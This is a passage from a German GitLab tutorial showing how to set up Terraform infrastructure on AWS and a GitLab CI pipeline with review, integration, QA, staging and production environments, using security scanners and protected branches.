kannst.\n\nDiese Strategie kann einfach auf andere Projekte umgesetzt werden, egal, ob es sich um Infrastructure as Code (IaC), die auf einer anderen Technologie wie [Pulumi](https://www.pulumi.com/) oder [Ansible](https://www.ansible.com/) basiert, um Quellcode in beliebigen Sprachen oder ein Monorepo handelt, bei dem viele Sprachen gemischt verwendet werden.\n\nDie letzte Pipeline, die du am Ende dieses Tutorials hast, stellt Folgendes bereit:\n\n* Eine temporäre **Review-Umgebung** für jeden Feature-Branch.\n* Eine **Integrationsumgebung**, die einfach zu löschen und vom Haupt-Branch aus bereitzustellen ist.\n* Eine **QA-Umgebung**, die ebenfalls von dem Haupt-Branch bereitgestellt wird, um Qualitätssicherungsschritte durchzuführen.\n* Eine **Staging-Umgebung**, die für jedes Tag bereitgestellt wird. Dies ist die letzte Runde vor der Produktion.\n* Eine **Produktionsumgebung**, die direkt nach der Staging-Umgebung folgt. Diese wird zur Demonstration manuell ausgelöst, kann aber auch kontinuierlich bereitgestellt werden.\n\n>Hier findest du die Legende für die Flussdiagramme in diesem Artikel:\n> * Runde Boxen sind die GitLab-Branches.\n> * Eckige Boxen sind die Umgebungen.\n> * Der Text auf den Pfeilen sind die Aktionen, die von einem Feld zum nächsten fließen sollen.\n> * Eckige Quadrate sind Entscheidungsschritte.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    A(main) -->|new feature| B(feature_X)\n\n    B -->|auto deploy| C[review/feature_X]\n    B -->|merge| D(main)\n    C -->|destroy| D\n\n    D -->|auto deploy| E[integration]\n    E -->|manual| F[qa]\n\n    D -->|tag| G(X.Y.Z)\n    F -->|validate| G\n\n    G -->|auto deploy| H[staging]\n    H -->|manual| I{plan}\n    I -->|manual| J[production]\n\u003C/pre>\n\nBei jedem Schritt erfährst du das [Warum](#why) und das [Was](#what), bevor du zum [Wie](#how) übergehst. Dies wird dir helfen, dieses Tutorial vollständig zu verstehen und zu replizieren.\n\n## Warum\n\n* [Kontinuierliche Integration](https://about.gitlab.com/de-de/topics/ci-cd/#what-is-continuous-integration-ci) ist fast ein De-facto-Standard. Die meisten Unternehmen haben CI-Pipelines implementiert oder sind bereit, ihre Arbeitsweise zu standardisieren.\n\n* [Kontinuierliche Bereitstellung](https://about.gitlab.com/topics/ci-cd/#what-is-continuous-delivery-cd), wobei Artefakte in ein Repository oder eine Registry am Ende der CI-Pipeline gepusht werden, ist ebenfalls beliebt.\n\n* Kontinuierliche Bereitstellung, die weiter geht und diese Artefakte automatisch bereitstellt, ist allerdings weniger verbreitet. Wenn, dann wird sie vor allem im Bereich von Anwendungen implementiert. Wenn es um die kontinuierliche Bereitstellung von Infrastruktur geht, scheint das Bild weniger klar zu sein und es dreht sich vieles um das Management mehrerer Umgebungen. Im Gegensatz dazu scheint das Testen, Sichern und Überprüfen des Infrastruktur-Codes schwieriger zu sein. Dies ist eines der Felder, in denen DevOps noch nicht ausgereift ist. Ein anderer Anwendungsbereich ist, die Sicherheit im Vorfeld zu kontrollieren und Sicherheitsteams sowie – was noch wichtiger ist – Sicherheitsbedenken früher in den Lebenszyklus der Bereitstellung zu integrieren und so von DevOps auf ***DevSecOps*** upzugraden.\n\nAngesichts dessen wirst du in diesem Tutorial eine einfache und doch effiziente Möglichkeit erarbeiten, DevSecOps für deine Infrastruktur zu implementieren, indem du beispielsweise Ressourcen in fünf Umgebungen bereitstellst und dich schrittweise von der Entwicklung bis zur Produktion vorarbeitest.\n\n__Hinweis:__ Auch wenn ich einen FinOps-Ansatz und eine Reduktion der Umgebungen befürworte, gibt es manchmal gute Gründe, mehr als nur Entwicklung, Staging und Produktion aufrechtzuerhalten. Bitte passe die folgenden Beispiele an deine Bedürfnisse an.\n\n## Was\n\nDer Aufstieg der Cloud-Technologie hat die Nutzung von IaC vorangetrieben. Ansible und Terraform gehörten in diesem Bereich zu den Pionieren. OpenTofu, Pulumi, AWS CDK, Google Deploy Manager und viele andere folgten.\n\nIaC gilt als perfekte Lösung, um sich bei der Bereitstellung von Infrastruktur sicher zu fühlen. Du kannst sie testen, bereitstellen und immer wieder abspielen, bis du dein Ziel erreicht hast.\n\nLeider sehen wir oft, dass Unternehmen für jede ihrer Zielumgebungen mehrere Branches oder sogar Repositories unterhalten. Und hier beginnen die Probleme. Sie setzen einen Prozess nicht mehr durch. Sie stellen nicht mehr sicher, dass Änderungen in der Produktions-Codebase in früheren Umgebungen genauestens getestet wurden. Und sie beginnen, Drifts von einer Umgebung in die andere zu erleben.\n\nMir wurde klar, dass dieses Tutorial notwendig war, als auf einer Konferenz alle Teilnehmenden sagten, dass sie keinen Workflow haben, der durchsetzt, dass Infrastruktur genau getestet wird, bevor sie für die Produktion bereitgestellt wird. Und sie waren sich alle einig, dass sie manchmal den Code direkt in die Produktion patchen. Klar geht das schnell, aber ist es auch sicher? Wie meldet man an frühere Umgebungen zurück? Wie stellt man sicher, dass es keine Nebeneffekte gibt? Wie kontrolliert man, ob man das Unternehmen in Gefahr bringt, wenn neue Sicherheitslücken zu schnell in die Produktion gepusht werden?\n\nDie Frage, *warum* DevOps-Teams direkt in die Produktion implementieren, ist hier entscheidend. Liegt es daran, dass die Pipeline effizienter oder schneller sein könnte? Gibt es keine Automatisierung? Oder, noch schlimmer, gibt es *keine Möglichkeit, außerhalb der Produktion genau zu testen*?\n\nIm nächsten Abschnitt erfährst du, wie du Automatisierung für deine Infrastruktur implementieren und sicherstellen kannst, dass dein DevOps-Team effektiv testet, bevor etwas in eine Umgebung gepusht wird, die sich auf andere auswirkt. Du wirst sehen, wie dein Code gesichert und seine Bereitstellung durchgehend kontrolliert wird.\n\n## Wie\n\nWie bereits erwähnt, gibt es heutzutage viele Programmiersprachen für IaC, und wir können ganz einfach nicht *alle* in einem einzigen Artikel behandeln. Ich werde mich also auf einen grundlegenden Terraform-Code konzentrieren, der auf Version 1.4 läuft. Bitte fixiere dich nicht auf die Programmiersprache für IaC selbst, sondern auf den Prozess, den du für dein eigenes Ökosystem umsetzen kannst.\n\n### Der Terraform-Code\n\nBeginnen wir mit einem grundlegenden Terraform-Code.\n\nWir werden auf AWS bereitstellen, eine virtuelle private Cloud (VPC), die ein virtuelles Netzwerk ist. In dieser VPC werden wir ein öffentliches und ein privates Subnetz bereitstellen. Wie der Name schon sagt, handelt es sich um Subnetze der Haupt-VPC. Abschließend fügen wir eine EC2-Instanz (Elastic Cloud Compute; eine virtuelle Maschine) zum öffentlichen Subnetz hinzu.\n\nDies zeigt, wie vier Ressourcen bereitgestellt werden können, ohne zu komplex zu werden. Die Idee ist, sich auf die Pipeline zu konzentrieren, nicht auf den Code.\n\nHier ist das Ziel, das wir für dein Repository erreichen möchten.\n\n![Ziel für Repository](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097033/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097033415.png)\n\nGehen wir Schritt für Schritt vor.\n\nZuerst deklarieren wir alle Ressourcen in der Datei `terraform/main.tf`:\n\n```terraform\nprovider \"aws\" {\n  region = var.aws_default_region\n}\n\nresource \"aws_vpc\" \"main\" {\n  cidr_block = var.aws_vpc_cidr\n\n  tags = {\n    Name     = var.aws_resources_name\n  }\n}\n\nresource \"aws_subnet\" \"public_subnet\" {\n  vpc_id     = aws_vpc.main.id\n  cidr_block = var.aws_public_subnet_cidr\n\n  tags = {\n    Name = \"Public Subnet\"\n  }\n}\nresource \"aws_subnet\" \"private_subnet\" {\n  vpc_id     = aws_vpc.main.id\n  cidr_block = var.aws_private_subnet_cidr\n\n  tags = {\n    Name = \"Private Subnet\"\n  }\n}\n\nresource \"aws_instance\" \"sandbox\" {\n  ami           = var.aws_ami_id\n  instance_type = var.aws_instance_type\n\n  subnet_id = aws_subnet.public_subnet.id\n\n  tags = {\n    Name     = var.aws_resources_name\n  }\n}\n```\n\nWie du sehen kannst, sind für diesen Code einige Variablen erforderlich, die wir also in der Datei `terraform/variables.tf` deklarieren:\n\n```terraform\nvariable \"aws_ami_id\" {\n  description = \"The AMI ID of the image being deployed.\"\n  type        = string\n}\n\nvariable \"aws_instance_type\" {\n  description = \"The instance type of the VM being deployed.\"\n  type        = string\n  default     = \"t2.micro\"\n}\n\nvariable \"aws_vpc_cidr\" {\n  description = \"The CIDR of the VPC.\"\n  type        = string\n  default     = \"10.0.0.0/16\"\n}\n\nvariable \"aws_public_subnet_cidr\" {\n  description = \"The CIDR of the public subnet.\"\n  type        = string\n  default     = \"10.0.1.0/24\"\n}\n\nvariable \"aws_private_subnet_cidr\" {\n  description = \"The CIDR of the private subnet.\"\n  type        = string\n  default     = \"10.0.2.0/24\"\n}\n\nvariable \"aws_default_region\" {\n  description = \"Default region where resources are deployed.\"\n  type        = string\n  default     = \"eu-west-3\"\n}\n\nvariable \"aws_resources_name\" {\n  description = \"Default name for the resources.\"\n  type        = string\n  default     = \"demo\"\n}\n```\n\nAuf der IaC-Seite sind wir damit auch schon fast fertig. Was fehlt, ist eine Möglichkeit, die Terraform-Zustände zu teilen. Für diejenigen, die es nicht wissen: Terraform funktioniert schematisch wie folgt:\n\n* `plan` überprüft die Unterschiede zwischen dem aktuellen Status der Infrastruktur und dem, was im Code definiert ist. Dann gibt es die Unterschiede aus.\n* `apply` wendet die Unterschiede im `plan` an und aktualisiert den Status.\n\nIn der ersten Runde ist der Status leer, dann wird er mit den Details (ID usw.) der von Terraform angewendeten Ressourcen gefüllt.\n\nDas Problem ist: Wo wird dieser Zustand gespeichert? Wie können wir ihn teilen, damit mehrere Entwickler(innen) am Code zusammenarbeiten können?\n\nDie Lösung ist ziemlich einfach: Nutze GitLab, um den Status über ein [Terraform-HTTP-Backend](https://docs.gitlab.com/ee/user/infrastructure/iac/terraform_state.html) zu speichern und freizugeben.\n\nDer erste Schritt bei der Verwendung dieses Backends besteht darin, die einfachste Datei, nämlich `terraform/backend.tf` zu erstellen. Der zweite Schritt erfolgt in der Pipeline.\n\n```terraform\nterraform {\n  backend \"http\" {\n  }\n}\n```\n\nEt voilà! Wir haben einen minimalen Terraform-Code, um diese vier Ressourcen bereitzustellen. Wir werden die Variablenwerte zur Laufzeit bereitstellen, also machen wir das später.\n\n### Der Workflow\n\nDer Workflow, den wir jetzt implementieren werden, sieht folgendermaßen aus:\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    A(main) -->|new feature| B(feature_X)\n\n    B -->|auto deploy| C[review/feature_X]\n    B -->|merge| D(main)\n    C -->|destroy| D\n\n    D -->|auto deploy| E[integration]\n    E -->|manual| F[qa]\n\n    D -->|tag| G(X.Y.Z)\n    F -->|validate| G\n\n    G -->|auto deploy| H[staging]\n    H -->|manual| I{plan}\n    I -->|manual| J[production]\n\u003C/pre>\n\n1. Erstelle einen **Feature-Branch**. Dadurch werden alle Scanner kontinuierlich auf dem Code ausgeführt, um sicherzustellen, dass er immer konform und gesichert bleibt. Dieser Code wird kontinuierlich in der temporären Umgebung `review/feature_branch` mit dem Namen des aktuellen Branches bereitgestellt. Dies ist eine sichere Umgebung, in der die Entwickler(innen) und IT-Betriebsteams ihren Code ohne Auswirkungen auf andere testen können. Hier setzen wir auch den Prozess durch, z. B. indem Code Reviews durchgesetzt und Scanner ausgeführt werden, damit die Qualität und Sicherheit des Codes akzeptabel sind und deine Assets nicht gefährdet werden. Die von diesem Branch bereitgestellte Infrastruktur wird automatisch zerstört, wenn der Branch geschlossen wird. So behältst du dein Budget unter Kontrolle.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    A(main) -->|new feature| B(feature_X)\n\n    B -->|auto deploy| C[review/feature_X]\n    B -->|merge| D(main)\n    C -->|destroy| D\n\u003C/pre>\n\n2. Nach der Genehmigung wird der Feature-Branch mit dem Main-Branch **zusammengeführt**. Dies ist ein [geschützter Branch](https://docs.gitlab.com/ee/user/project/protected_branches.html), in den niemand pushen kann. Dies ist obligatorisch, um sicherzustellen, dass jede Änderungsanfrage an die Produktion gründlich getestet wird. Dieser Branch wird auch kontinuierlich bereitgestellt. Das Ziel hier ist die Umgebung `integration`. Damit diese Umgebung etwas stabiler bleibt, wird das Löschen nicht automatisiert, sondern kann manuell ausgelöst werden.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    D(main) -->|auto deploy| E[integration]\n\u003C/pre>\n\n3. Von dort aus ist eine manuelle Genehmigung erforderlich, um die nächste Bereitstellung auszulösen. Dadurch wird der Haupt-Branch in der Umgebung `qa` bereitgestellt. Hier habe ich eine Regel festgelegt, um das Löschen aus der Pipeline zu verhindern. Diese Umgebung sollte ziemlich stabil sein (schließlich ist es bereits die dritte Umgebung), und ich möchte das versehentliche Löschen verhindern. Du kannst die Regeln gerne an deine Prozesse anpassen.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    D(main)-->|auto deploy| E[integration]\n    E -->|manual| F[qa]\n\u003C/pre>\n\n4. Um fortzufahren, müssen wir den Code **taggen**. Wir setzen hier auf [geschützte Tags](https://docs.gitlab.com/ee/user/project/protected_tags.html), um sicherzustellen, dass nur eine bestimmte Gruppe von Benutzer(inne)n in diese letzten beiden Umgebungen bereitstellen darf. Dadurch wird sofort eine Bereitstellung in der Umgebung `staging` ausgelöst.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    D(main) -->|tag| G(X.Y.Z)\n    F[qa] -->|validate| G\n\n    G -->|auto deploy| H[staging]\n\u003C/pre>\n\n\n5. Schließlich landen wir bei `production`. Wenn es um Infrastruktur geht, ist es oft schwierig, sie schrittweise bereitzustellen (10 %, 25 % usw.), sodass wir gleich die gesamte Infrastruktur bereitstellen werden. Dennoch steuern wir diese Bereitstellung, indem dieser letzte Schritt manuell ausgelöst wird. Und um maximale Kontrolle über diese hochkritische Umgebung zu erzwingen, werden wir sie als [geschützte Umgebung](https://docs.gitlab.com/ee/ci/environments/protected_environments.html) kontrollieren.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n    H[staging] -->|manual| I{plan}\n    I -->|manual| J[production]\n\u003C/pre>\n\n### Die Pipeline\n\nUm den oben genannten [Workflow](#the-workflow) zu implementieren, implementieren wir jetzt eine Pipeline mit zwei [Downstream-Pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html).\n\n#### Die Haupt-Pipeline\n\nBeginnen wir mit der Haupt-Pipeline. Dies ist diejenige, die automatisch bei jedem **Push zu einem Feature-Branch**, jedem Zusammenführen zum Standard-Branch** oder jedem **Tag** ausgelöst wird. *Die Pipeline*, die eine echte **kontinuierliche Bereitstellung** in den folgenden Umgebungen durchführt: `dev`, `integration` und `staging`. Und das wird in der Datei `.gitlab-ci.yml` im Stamm deines Projekts deklariert.\n\n![Repository-Ziel](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097033/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097033417.png)\n\n```yml\nStages:\n  - test\n  - environments\n\n.environment:\n  stage: environments\n  variables:\n    TF_ROOT: terraform\n    TF_CLI_ARGS_plan: \"-var-file=../vars/$variables_file.tfvars\"\n  trigger:\n    include: .gitlab-ci/.first-layer.gitlab-ci.yml\n    strategy: depend             # Wait for the triggered pipeline to successfully complete\n    forward:\n      yaml_variables: true      # Forward variables defined in the trigger job\n      pipeline_variables: true  # Forward manual pipeline variables and scheduled pipeline variables\n\nreview:\n  extends: .environment\n  variables:\n    environment: review/$CI_COMMIT_REF_SLUG\n    TF_STATE_NAME: $CI_COMMIT_REF_SLUG\n    variables_file: review\n    TF_VAR_aws_resources_name: $CI_COMMIT_REF_SLUG  # Used in the tag Name of the resources deployed, to easily differenciate them\n  rules:\n    - if: $CI_COMMIT_BRANCH && $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n\nintegration:\n  extends: .environment\n  variables:\n    environment: integration\n    TF_STATE_NAME: $environment\n    variables_file: $environment\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n\nstaging:\n  extends: .environment\n  variables:\n    environment: staging\n    TF_STATE_NAME: $environment\n    variables_file: $environment\n  rules:\n    - if: $CI_COMMIT_TAG\n\n#### TWEAK\n# This tweak is needed to display vulnerability results in the merge widgets.\n# As soon as this issue https://gitlab.com/gitlab-org/gitlab/-/issues/439700 is resolved, the `include` instruction below can be removed.\n# Until then, the SAST IaC scanners will run in the downstream pipelines, but their results will not be available directly in the merge request widget, making it harder to track them.\n# Note: This workaround is perfectly safe and will not slow down your pipeline.\ninclude:\n  - template: Security/SAST-IaC.gitlab-ci.yml\n#### END TWEAK\n\n```\n\nDiese Pipeline läuft nur in zwei Phasen: `test` und `environments`. Erstere wird benötigt, damit der *TWEAK* Scanner ausführen kann. Zweitere löst eine untergeordnete Pipeline mit einem anderen Satz von Variablen für jeden oben definierten Fall aus (Push zum Branch, Zusammenführen zum Standard-Branch oder Tag).\n\nWir fügen hier eine Abhängigkeit mit dem Schlüsselwort [strategy:depend](https://docs.gitlab.com/ee/ci/yaml/index.html#triggerstrategy) zu unserer untergeordneten Pipeline hinzu, sodass die Pipeline-Ansicht in GitLab erst aktualisiert wird, wenn die Bereitstellung abgeschlossen ist.\n\nWie du hier sehen kannst, definieren wir einen Basisjob, [hidden](https://docs.gitlab.com/ee/ci/jobs/#hide-jobs), und erweitern ihn um bestimmte Variablen und Regeln, um nur eine Bereitstellung für jede Zielumgebung auszulösen.\n\nNeben den [vordefinierten Variablen](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) verwenden wir zwei neue Einträge, die wir definieren müssen:\n1. [Die für jede Umgebung spezifischen Variablen](#the-variable-definitions): `../vars/$variables_file.tfvars`\n2. [Die untergeordnete Pipeline](#the-child-pipeline), definiert in `.gitlab-ci/.first-layer.gitlab-ci.yml`\n\nBeginnen wir mit dem kleinsten Teil, den Variablendefinitionen.\n\n### Die Variablendefinitionen\n\nWir werden hier zwei Lösungen mischen, um Terraform Variablen zur Verfügung zu stellen:\n\n* Die erste nutzt [.tfvars-Dateien](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files) für alle nicht sensiblen Eingaben, die in GitLab gespeichert werden sollten.\n\n![Lösung 1 zur Bereitstellung von Variablen für Terraform](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097034/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097033419.png)\n\n* Die zweite verwendet [Umgebungsvariablen](https://developer.hashicorp.com/terraform/language/values/variables#environment-variables) mit dem Präfix `TF_VAR`. Diese zweite Möglichkeit, Variablen zu injizieren, die mit der GitLab-Fähigkeit verbunden sind, [Variablen zu maskieren](https://docs.gitlab.com/ee/ci/variables/#mask-a-cicd-variable), [sie zu schützen](https://docs.gitlab.com/ee/ci/variables/#protect-a-cicd-variable) und [sie in Umgebungen zu übertragen](https://docs.gitlab.com/ee/ci/environments/index.html#limit-the-environment-scope-of-a-cicd-variable), ist eine leistungsstarke Lösung, um **Datenlecks sensibler Informationen zu verhindern**. (Wenn du das private CIDR deiner Produktion als sehr sensibel betrachtest, könntest du es so schützen, indem du sicherstellst, dass es nur für die Umgebung `production` verfügbar ist, für Pipelines, die gegen geschützte Branches und Tags ausgeführt werden, und dass sein Wert in den Protokollen des Jobs maskiert ist.)\n\n![Lösung 2 zur Bereitstellung von Variablen für Terraform](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097034/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097033422.png)\n\nDarüber hinaus sollte jede Variablendatei über eine [Datei `CODEOWNERS`](https://docs.gitlab.com/ee/user/project/codeowners/) gesteuert werden, um festzulegen, wer sie ändern darf.\n\n```\n[Production owners] \nvars/production.tfvars @operations-group\n\n[Staging owners]\nvars/staging.tfvars @odupre @operations-group\n\n[CodeOwners owners]\nCODEOWNERS @odupre\n```\n\nDieser Artikel ist kein Terraform-Training, daher halten wir das kurz und zeigen hier einfach die Datei `vars/review.tfvars`. Die nachfolgenden Umgebungsdateien sind sich natürlich sehr ähnlich. Lege hier einfach die nicht-sensiblen Variablen und ihre Werte fest.\n\n```shell\naws_vpc_cidr = \"10.1.0.0/16\"\naws_public_subnet_cidr = \"10.1.1.0/24\"\naws_private_subnet_cidr = \"10.1.2.0/24\"\n```\n\n#### Die untergeordnete Pipeline\n\nHier wird die eigentliche Arbeit erledigt. Sie ist also etwas komplexer als die erste Pipeline. Es gibt aber auch hier keine Schwierigkeit, die wir nicht gemeinsam überwinden können!\n\nWie wir bei der Definition der [Haupt-Pipeline](#the-main-pipeline) gesehen haben, wird diese Downstream-Pipeline in der Datei `.gitlab-ci/.first-layer.gitlab-ci.yml` deklariert.\n\n![In Datei deklarierte Downstream-Pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097033/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097033424.png)\n\nZerlegen wir sie in kleine Stücke. Am Ende sehen wir dann das große Ganze.\n\n##### Terraform-Befehle ausführen und den Code sichern\n\nZuerst wollen wir eine Pipeline für Terraform ausführen. GitLab ist Open Source. Unsere Terraform-Vorlage ist also auch Open Source. Du kannst sie einfach einbeziehen. Dies erreichst du mit folgendem Code-Schnipsel:\n\n```yml\ninclude:\n  - template: Terraform.gitlab-ci.yml\n```\n\nDiese Vorlage führt für dich die Terraform-Prüfungen für die Formatierung durch und validiert deinen Code, bevor er geplant und angewendet wird. Es ermöglicht dir auch, das zu zerstören, was du bereitgestellt hast.\n\nDa GitLab eine vereinheitlichte DevSecOps-Plattform ist, fügen wir dieser Vorlage automatisch zwei Sicherheitsscanner hinzu, um potenzielle Bedrohungen in deinem Code zu finden und dich zu warnen, bevor du ihn in den nächsten Umgebungen bereitstellst.\n\nJetzt, da wir unseren Code überprüft, gesichert, erstellt und bereitgestellt haben, folgen ein paar Tricks.\n\n##### Zwischenspeicher zwischen Jobs teilen\n\nWir werden Job-Ergebnisse zwischenspeichern, um sie in folgenden Pipeline-Jobs wiederzuverwenden. Dies ist einfach, denn du musst nur den folgenden Code hinzufügen:\n\n```yml\ndefault:\n  cache:  # Use a shared cache or tagged runners to ensure terraform can run on apply and destroy\n    - key: cache-$CI_COMMIT_REF_SLUG\n      fallback_keys:\n        - cache-$CI_DEFAULT_BRANCH\n      paths:\n        - .\n\n```\n\nHier definieren wir einen anderen Zwischenspeicher für jeden Commit und greifen bei Bedarf auf den Namen des Haupt-Branchs zurück.\n\nWenn wir uns die Vorlagen, die wir verwenden, genau ansehen, stellen wir fest, dass sie einige Regeln haben, die zu kontrollieren sind, wenn Jobs ausgeführt werden. Wir wollen alle Kontrollen (sowohl QA als auch Sicherheit) in allen Branchen ausführen. Wir werden diese Einstellungen also überschreiben.\n\n##### Kontrollen in allen Branches ausführen\n\nGitLab-Vorlagen sind eine leistungsstarke Funktion, bei der man auch nur einen Teil der Vorlage überschreiben kann. Hier wollen wir die Regeln einiger Jobs überschreiben, um immer Qualitäts- und Sicherheitskontrollen durchzuführen. Alles andere, was für diese Jobs definiert ist, bleibt wie in der Vorlage definiert.\n\n```yml\nfmt:\n  rules:\n    - when: always\n\nvalidate:\n  rules:\n    - when: always\n\nkics-iac-sast:\n  rules:\n    - when: always\n\niac-sast:\n  rules:\n    - when: always\n```\n\nDa wir nun die Qualitäts- und Sicherheitskontrollen durchgesetzt haben, wollen wir unterscheiden, wie sich die Hauptumgebungen (Integration und Staging) im [Workflow](#the-workflow) und Review-Umgebungen verhalten. Beginnen wir mit der Definition des Verhaltens der Hauptumgebung. Wir werden dann diese Konfiguration für die Review-Umgebungen optimieren.\n\n##### CD für Integration und Staging\n\nWie zuvor definiert, möchten wir den Haupt-Branch und die Tags in diesen beiden Umgebungen bereitstellen. Wir fügen Regeln hinzu, um das sowohl bei den Jobs `build` als auch `deploy` zu kontrollieren. Dann wollen wir `destroy` nur für `integration` aktivieren, da wir definiert haben, dass `staging` zu kritisch ist, um mit einem einzigen Klick gelöscht zu werden. Das ist fehleranfällig, was wir nicht wollen.\n\nSchließlich verknüpfen wir den Job `deploy` mit dem Job `destroy`, damit wir die Umgebung direkt von der GitLab-GUI aus mit `stop` stoppen können.\n\nDie `GIT_STRATEGY` soll verhindern, dass der Code beim Zerstören aus dem Quell-Branch im Runner abgerufen wird. Dies würde fehlschlagen, wenn der Branch manuell gelöscht wurde. Daher verlassen wir uns auf den Zwischenspeicher, um alles zu erhalten, was wir zum Ausführen der Terraform-Anweisungen benötigen.\n\n```yml\nbuild:  # terraform plan\n  environment:\n    name: $TF_STATE_NAME\n    action: prepare\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG\n\ndeploy: # terraform apply --> automatically deploy on corresponding env (integration or staging) when merging to default branch or tagging. Second layer environments (qa and production) will be controlled manually\n  environment: \n  environment: \n    name: $TF_STATE_NAME\n    action: start\n    on_stop: destroy\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG\n\ndestroy:\n  extends: .terraform:destroy\n  variables:\n    GIT_STRATEGY: none\n  dependencies:\n    - build\n  environment:\n    name: $TF_STATE_NAME\n    action: stop\n  rules:\n    - if: $CI_COMMIT_TAG  # Do not destroy production\n      when: never\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $TF_DESTROY == \"true\" # Manually destroy integration env.\n      when: manual\n```\n\nWie gesagt müssen diese Matches in `integration` und `staging` bereitstellen. Uns fehlt jedoch immer noch eine temporäre Umgebung, in der die Entwickler(innen) ihren Code ohne Auswirkungen auf andere erleben und validieren können. Hier findet die Bereitstellung in der Umgebung `review` statt.\n\n##### CD für Review-Umgebungen\n\nDie Bereitstellung in der Review-Umgebung unterscheidet sich nicht allzu sehr von der Bereitstellung in `integration` und `staging`. Wir werden also erneut die Möglichkeit von GitLab nutzen, hier nur Teile der Jobdefinition zu überschreiben.\n\nZuerst legen wir Regeln fest, um diese Jobs nur in Feature-Branches auszuführen.\n\nDann verknüpfen wir den Job `deploy_review` mit `destroy_review`. Dies ermöglicht es uns, die Umgebung **manuell** von der GitLab-Bedienoberfläche aus zu stoppen und – was noch wichtiger ist – es wird **automatisch die Zerstörung der Umgebung ausgelöst**, wenn der Feature-Branch geschlossen wird. Dies ist eine gute FinOps-Praxis, um dir zu helfen, deine Betriebsausgaben zu kontrollieren.\n\nDa Terraform eine Plandatei benötigt, um eine Infrastruktur zu zerstören (genau wie es eine solche Datei benötigt, um eine Infrastruktur aufzubauen), fügen wir eine Abhängigkeit von `destroy_review` zu `build_review` hinzu, um Artefakte abzurufen.\n\nSchließlich sehen wir hier, dass der Name der Umgebung auf `$environment` festgelegt ist. Es wurde in der [Haupt-Pipeline](#the-main-pipeline) auf `review/$CI_COMMIT_REF_SLUG` gesetzt und mit der Anweisung `trigger:forward:yaml_variables:true` an diese untergeordnete Pipeline weitergeleitet.\n\n```yml\nbuild_review:\n  extends: build\n  rules:\n    - if: $CI_COMMIT_TAG\n      when: never\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n      when: on_success\n\ndeploy_review:\n  extends: deploy\n  dependencies:\n    - build_review\n  environment:\n    name: $environment\n    action: start\n    on_stop: destroy_review\n    # url: https://$CI_ENVIRONMENT_SLUG.example.com\n  rules:\n    - if: $CI_COMMIT_TAG\n      when: never\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n      when: on_success\n\ndestroy_review:\n  extends: destroy\n  dependencies:\n    - build_review\n  environment:\n    name: $environment\n    action: stop\n  rules:\n    - if: $CI_COMMIT_TAG  # Do not destroy production\n      when: never\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH   # Do not destroy staging\n      when: never\n    - when: manual\n```\n\nZusammenfassend können wir also sagen, dass wir jetzt eine Pipeline haben, die Folgendes kann:\n\n* Temporäre Review-Umgebungen bereitstellen, die automatisch gelöscht werden, wenn der Feature-Branch geschlossen wird\n* Den **Standard-Branch** kontinuierlich auf `integration` bereitstellen\n* Die **Tags** kontinuierlich auf `staging` bereitstellen\n\nFügen wir nun eine zusätzliche Ebene hinzu, auf der wir diesmal mit einem manuellen Auslöser in den Umgebungen `qa` und `production` bereitstellen werden.\n\n##### Kontinuierliche Bereitstellung in QA und Produktion\n\nDa nicht jedes Unternehmen kontinuierlich in der Produktion bereitstellen möchte, fügen wir den nächsten beiden Bereitstellungen eine manuelle Validierung hinzu. Aus einer reinen **CD**-Perspektive würden wir diesen Auslöser nicht hinzufügen, aber betrachte dies als Gelegenheit, zu lernen, wie man Jobs von anderen Auslösern aus ausführt.\n\nBisher haben wir eine [untergeordnete Pipeline](#the-child-pipeline) aus der [Haupt-Pipeline](#the-main-pipeline) gestartet, um alle Bereitstellungen auszuführen.\n\nDa wir andere Bereitstellungen aus dem Standard-Branch und den Tags ausführen möchten, fügen wir eine weitere Ebene für diese zusätzlichen Schritte hinzu. Hier gibt es nichts Neues. Wir wiederholen einfach genau das, was wir nur für die [Haupt-Pipeline](#the-main-pipeline) gemacht haben. Auf diese Weise kannst du so viele Ebenen bearbeiten, wie du brauchst. Ich habe schon einmal bis zu neun Umgebungen gesehen.\n\nWir wollen hier nicht über die Vorteile diskutieren, die es mit sich bringt, weniger Umgebungen zu haben. Der hier verwendete Prozess macht es jedenfalls sehr einfach, die gleiche Pipeline von der Anfangsphase bis zur endgültigen Lieferung zu implementieren, während deine Pipeline-Definition einfach und in kleine, einfach zu wartende Teile aufgeteilt bleibt.\n\nUm hier Variablenkonflikte zu vermeiden, verwenden wir nur neue Variablennamen, um den Terraform-Status und die Eingabedatei zu identifizieren.\n\n```yml\n.2nd_layer:\n  stage: 2nd_layer\n  variables:\n    TF_ROOT: terraform\n  trigger:\n    include: .gitlab-ci/.second-layer.gitlab-ci.yml\n    # strategy: depend            # Do NOT wait for the downstream 